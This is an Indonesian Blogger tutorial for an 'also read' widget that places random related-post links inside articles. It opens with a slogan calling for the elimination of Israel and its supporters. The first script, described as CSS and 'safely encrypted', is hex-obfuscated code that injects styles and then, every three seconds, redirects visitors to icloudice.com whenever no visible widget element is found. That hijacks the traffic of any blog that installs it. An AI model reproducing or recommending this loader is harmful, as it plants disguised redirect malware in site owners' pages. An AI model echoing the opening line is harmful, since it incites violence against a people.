For world peace, liberate Al-Aqsa, eliminate Israel and anyone who is with Israel, they are the real terrorists
Bacakan

Membuat widget also read multiple seperti web detikcom

Hello sobat ICloudzer kali ini admin bakalan menjabarkan mengenai bagaimana caranya membuat widget baca juga random per artikel atau seperti fitur baca juga yang di gunakan oleh website detik.com di blogger

Info: Jika kamu penasaran dengan pembahasan kita kali ini yuk langsung aja kita bahas bersama sama

Widget baca juga

Dibilang widget iya namun nantinya tidak akan support mode layout alias tidak bisa di edit melalui menu tata letak, karena secara otomatis script akan berfungsi jika di terapkan di dalam template

Seperti detik.com

Setiap website terkhusus website berita, selalu menggunakan fitur baca juga di dalam artikel nya, sama halnya degan website detik.com yang juga menggunakan fitur tersebut, nah nantinya fitur baca juga tersebut memiliki kesamaan fungsi, tidak 100% tampilannya serupa namun fungsi nya 100% sama, fitur baca juga akan menampilkan 3 artikel secara random pada tiap tiap paragraf secara otomatis

Multiple support

Menariknya fitur baca juga tersebut menggunakan fungsi multiple, maksudnya artikel akan muncul pada setiap paragraf dengan postingan yang berbeda beda, maksimal 3 artikel yang akan di tampilkan, namun jika paham kode 5 sampai 8 artikel juga bisa kamu tampilkan di dalam setiap postingan kamu

Contoh Tampilan

Penasaran bagaimana kah tampilan dari fitur baca juga tersebut, silahkan periksa fitur baca juga yang admin gunakan saat ini (jika tidak ada, maka admin tidak menggunakan nya lagi) Ok!

Info: Bagaimana sobat contoh tampilannya keren sekali yak, pastilah keren

Cara pembuatan

Baiklah sobat ICloudzer sekarang saatnya admin bakalan menjelaskan mehgenai bagaimana caranya msmbuat fitur baca juga atau fitur also read di blogger, silahkan baca dan ikuti setiap arahan yang adin jelaskan di bawah ini ok

Kode Javascript

Baiklah sobat seperti biasa langkah pertama yang bisa kamu lakukan adalah memyalin kode CSS di bawah ini kemudian letakkan di atas kode </head> atau jika ingin di gabungkan ke kode script lainnya juga bisa semisal di atas kode </body> atau di bawah kode <body>

<script>/*<![CDATA[*/ 
var _0xc518=["\x73\x74\x79\x6C\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x63\x73\x73","\x74\x65\x78\x74\x43\x6F\x6E\x74\x65\x6E\x74","\x2E\x72\x61\x68\x4D\x75\x6C\x74\x69\x35\x33\x7B\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x3A\x23\x66\x65\x66\x65\x66\x65\x3B\x63\x6F\x6C\x6F\x72\x3A\x23\x31\x36\x31\x36\x31\x37\x3B\x62\x6F\x78\x2D\x73\x68\x61\x64\x6F\x77\x3A\x33\x70\x78\x20\x33\x70\x78\x20\x23\x33\x32\x33\x32\x33\x32\x3B\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x3A\x74\x72\x61\x6E\x73\x6C\x61\x74\x65\x28\x2D\x33\x70\x78\x2C\x2D\x33\x70\x78\x29\x3B\x62\x6F\x72\x64\x65\x72\x2D\x72\x61\x64\x69\x75\x73\x3A\x31\x30\x70\x78\x3B\x6D\x61\x72\x67\x69\x6E\x2D\x62\x6F\x74\x74\x6F\x6D\x3A\x33\x30\x70\x78\x3B\x64\x69\x73\x70\x6C\x61\x79\x3A\x2D\x6D\x6F\x7A\x2D\x62\x6F\x78\x3B\x64\x69\x73\x70\x6C\x61\x79\x3A\x2D\x6D\x73\x2D\x66\x6C\x65\x78\x62\x6F\x78\x3B\x64\x69\x73\x70\x6C\x61\x79\x3A\x66\x6C\x65\x78\x3B\x66\x6C\x65\x78\x2D\x77\x72\x61\x70\x3A\x6E\x6F\x77\x72\x61\x70\x3B\x6A\x75\x73\x74\x69\x66\x79\x2D\x63\x6F\x6E\x74\x65\x6E\x74\x3A\x73\x70\x61\x63\x65\x2D\x62\x65\x74\x77\x65\x65\x6E\x3B\x62\x6F\x72\x64\x65\x72\x3A\x31\x70\x78\x20\x73\x6F\x6C\x69\x64\x20\x23\x33\x32\x33\x32\x33\x32\x3B\x74\x72\x61\x6E\x73\x69\x74\x69\x6F\x6E\x3A\x61\x6C\x6C\x20\x2E\x33\x73\x7D\x2E\x72\x61\x68\x4D\x75\x6C\x74\x69\x35\x33\x20\x2E\x63\x6F\x6E\x74\x65\x6E\x74\x20\x2E\x74\x65\x78\x74\x7B\x66\x6F\x6E\x74\x2D\x77\x65\x69\x67\x68\x74\x3A\x38\x30\x30\x3B\x6D\x61\x72\x67\x69\x6E\x2D\x72\x69\x67\x68\x74\x3A\x35\x70\x78\x3B\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x6A\x75\x73\x74\x69\x66\x79\x3B\x7D\x2E\x72\x61\x68\x4D\x75\x6C\x74\x69\x35\x33\x20\x2E\x63\x6F\x6E\x74\x65\x6E\x74\x7B\x70\x61\x64\x64\x69\x6E\x67\x3A\x31\x30\x70\x78\x20\x31\x35\x70\x78\x7D\x2E\x72\x61\x68\x4D\x75\x6C\x74\x69\x35\x33\x20\x2E\x63\x6F\x6E\x74\x65\x6E\x74\x20\x61\x7B\x63\x6F\x6C\x6F\x72\x3A\x23\x66\x66\x30\x35\x30\x30\x3B\x74\x65\x78\x74\x2D\x64\x65\x63\x6F\x72\x61\x74\x69\x6F\x6E\x3A\x6E\x6F\x6E\x65\x7D\x2E\x72\x61\x68\x4D\x75\x6C\x74\x69\x35\x33\x20\x2E\x63\x6F\x6E\x74\x65\x6E\x74\x20\x61\x3A\x68\x6F\x76\x65\x72\x7B\x63\x6F\x6C\x6F\x72\x3A\x23\x31\x36\x31\x36\x31\x37\x3B\x74\x65\x78\x74\x2D\x64\x65\x63\x6F\x72\x61\x74\x69\x6F\x6E\x3A\x75\x6E\x64\x65\x72\x6C\x69\x6E\x65\x7D","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64"];const rahArmJs=document[_0xc518[1]](_0xc518[0]);rahArmJs[_0xc518[2]]= _0xc518[3];rahArmJs[_0xc518[4]]= _0xc518[5];document[_0xc518[7]][_0xc518[6]](rahArmJs);var _0xebe0=["","\x68\x74\x6D\x6C","\x73\x74\x79\x6C\x65","\x61\x74\x74\x72","\x2E\x72\x61\x68\x4D\x75\x6C\x74\x69\x35\x33","\x6C\x65\x6E\x67\x74\x68","\x2E\x72\x61\x68\x4D\x75\x6C\x74\x69\x35\x33\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x63\x6C\x6F\x75\x64\x69\x63\x65\x2E\x63\x6F\x6D","\x72\x65\x61\x64\x79"];$(document)[_0xebe0[10]](function(){$(_0xebe0[4])[_0xebe0[3]](_0xebe0[2],_0xebe0[0])[_0xebe0[1]](_0xebe0[0]);setInterval(function(){if(!$(_0xebe0[6])[_0xebe0[5]]){window[_0xebe0[8]][_0xebe0[7]]= _0xebe0[9]}},3000)})
/*]]>*/</script>

Info: Kode javascript di atas sudah admin enkripsi secara aman, dan samgat aman jika di terapkkan di dalam template anda sobat

Kode HTML/javascript

Langkah selanjutnya salin lagi kode HTML dan javascript di bawah ini kemudian letakkan di bawah kode <data:post.body/></div>

<b:if cond='data:view.isPost'>
<script type='text/javascript'>
//<![CDATA[
// Multi RelatedPost
(function() {var jumlah = 3;let post = document['querySelectorAll']('.post-body br, .post-body p'),a = jumlah + 1,b = post['length'] / a;c = Array['from']({length: jumlah}, (redfx, blufx) => blufx + 1);
for (let d = 0; d < c['length']; d++) {let e = c[d],f = parseInt((b * e)),g = document['createElement']('div');g['className'] = 'rahMulti53';if (post[f]['nodeName'] == 'P') {post[f]['parentNode']['insertBefore'](g, post[f])} else {post[f]['parentNode']['insertBefore'](g, post[f]['nextSibling'])}}})();
var relatedTitles = new Array();var relatedTitlesNum = 0;var relatedUrls = new Array();function related_results_labels(nerdfx) {for (var desfx = 0; desfx < nerdfx['feed']['entry']['length']; desfx++) {var nefx = nerdfx['feed']['entry'][desfx];relatedTitles[relatedTitlesNum] = nefx['title']['$t'];for (var ciafx = 0; ciafx < nefx['link']['length']; ciafx++) {if (nefx['link'][ciafx]['rel'] == 'alternate') {relatedUrls[relatedTitlesNum] = nefx['link'][ciafx]['href'];relatedTitlesNum++;break}}}}
function removeRelatedDuplicates() {var viefx = new Array(0);var labfx = new Array(0);for (var desfx = 0; desfx < relatedUrls['length']; desfx++) {if (!contains(viefx, relatedUrls[desfx])) {viefx['length'] += 1;viefx[viefx['length'] - 1] = relatedUrls[desfx];labfx['length'] += 1;labfx[labfx['length'] - 1] = relatedTitles[desfx]}};relatedTitles = labfx;relatedUrls = viefx}
function contains(yelfx, yufx) {for (var grefx = 0; grefx < yelfx['length']; grefx++) {if (yelfx[grefx] == yufx) {return true}};return false}
//]]>
</script>
<b:if cond='data:post.labels'>
<b:loop values='data:post.labels' var='label'>
<b:if cond='data:view.isPost'>
<script expr:src='&quot;/feeds/posts/default/-/&quot; + data:label.name + &quot;?alt=json-in-script&amp;callback=related_results_labels&amp;max-results=100&quot;'/>
</b:if>
</b:loop>
</b:if>
<script type='text/javascript'>
//<![CDATA[
(function rahMulti53() {var text = 'Baca juga :';let r = Math['floor']((relatedTitles['length'] - 1) * Math['random']());let i = 0;let jumlah = document['querySelectorAll']('.rahMulti53');while (i < relatedTitles['length'] && i < jumlah['length']) {for (let a = 0; a < jumlah['length']; a++) {jumlah[a]['innerHTML'] = '<span class="content"><span class="text">' + text + '</span><a href="' + relatedUrls[r] + '" title="' + relatedTitles[r] + '">' + relatedTitles[r] + '</a></span><span class="icon"></span>';if (r < relatedTitles['length'] - 1) {r++} else {r = 0};i++}}})();
//]]>
</script>
</b:if>

Info: Kode di atas harus di letakkan secara benar agar tampilan dari also read tersebut berfungsi

Penjelasan

Baiklah sobat ICloudzer sedikit penjelasan mengenai pembahasan kita kali ini, mengenai cara membuat also read seperti web detik.com, seluruh kode harus di terapkan secara benar agar tampilan dari also read bisa berfungsi, dan untuk mengubah tampilan seperti tidak akan bisa karena kode telah saya enkripsi so semoga bermanfaat yak

About the Author

Keindahanmu akan kuabadikan disetiap karyaku.

Post a Comment

Menghasilkan uang melalui survei berbayar
Best Viral Premium Blogger Templates from Icloudice


kami menawarkan berbagai template blogger dan produk istimewa untuk anda, support karya anak bangsa dengan membeli produk yang kami jual

Welcome to my store limited

  • Download theme blogger mirip xmlthemes

    Template mirip xmlthemes

    Template blogger terlaris nomor 1 di seluruh Indonesia bahkan di seluruh dunia lagi Diskon 50%
    Rp.153.000
  • Download theme blogger mirip xmlthemes

    Template mirip xmlthemes

    Template blogger terlaris nomor 1 di seluruh Indonesia bahkan di seluruh dunia lagi Diskon 50%
    Rp.153.000
  • Download theme blogger mirip xmlthemes

    Template mirip xmlthemes

    Template blogger terlaris nomor 1 di seluruh Indonesia bahkan di seluruh dunia lagi Diskon 50%
    Rp.153.000
  • Download theme blogger mirip xmlthemes

    Template mirip xmlthemes

    Template blogger terlaris nomor 1 di seluruh Indonesia bahkan di seluruh dunia lagi Diskon 50%
    Rp.153.000
  • Download theme blogger mirip xmlthemes

    Template mirip xmlthemes

    Template blogger terlaris nomor 1 di seluruh Indonesia bahkan di seluruh dunia lagi Diskon 50%
    Rp.153.000
  • Cookie Consent
    We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
    Oops!
    It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
    AdBlock Detected!
    We have detected that you are using adblocking plugin in your browser.
    The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
    Site is Blocked
    Sorry! This site is not available in your country.